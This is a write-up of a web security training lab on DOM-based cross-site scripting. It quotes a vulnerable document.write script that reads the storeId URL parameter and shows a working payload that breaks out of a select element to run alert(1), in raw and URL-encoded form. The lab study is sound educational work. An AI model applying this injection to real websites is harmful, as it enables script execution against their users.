DOM XSS in document.write sink using source location.search inside a select element
Description
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write
function, which writes data out to the page. The document.write
function is called with data from location.search
which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert
function.
Approach
After accessing the lab, I began examining the source code of each page since this lab is vulnerable to DOM-based XSS, which means the vulnerability lies in the client-side JavaScript. While inspecting the /product
page, I found the following script:
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
I noticed immediately the presence of a source which is location.search
:
The
search
property of theLocation
interface is a search string, also called a query string; that is, a string containing a'?'
followed by the parameters of the URL.
So here it is storing the value of the parameter storeId into the the store variable. To confirm the vulnerability, I crafted a URL with a storeId
parameter containing a simple string:
https://0a86005803435178836ff63600cc006c.web-security-academy.net/product?productId=1&storeId=ichyaboy
After sending this and inspecting the page i can see that ichyaboy was added to the dropdown and as a selected item
<select name="storeId">
<option selected="">ichyaboy</option>
<option>London</option>
<option>Paris</option>
<option>Milan</option>
</select>
and that's what the script exactly doing. By adding the encoded payload to the storeId
parameter in the URL, I constructed the following request:
</option></select><img src=1 onerror=alert(1)>
https://0a86005803435178836ff63600cc006c.web-security-academy.net/product?productId=1&storeId=%3C/option%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(1)%3E
After sending the request, the injected payload is executed by the browser, causing the onerror
event to trigger and display an alert box. This confirms the XSS vulnerability has been successfully exploited.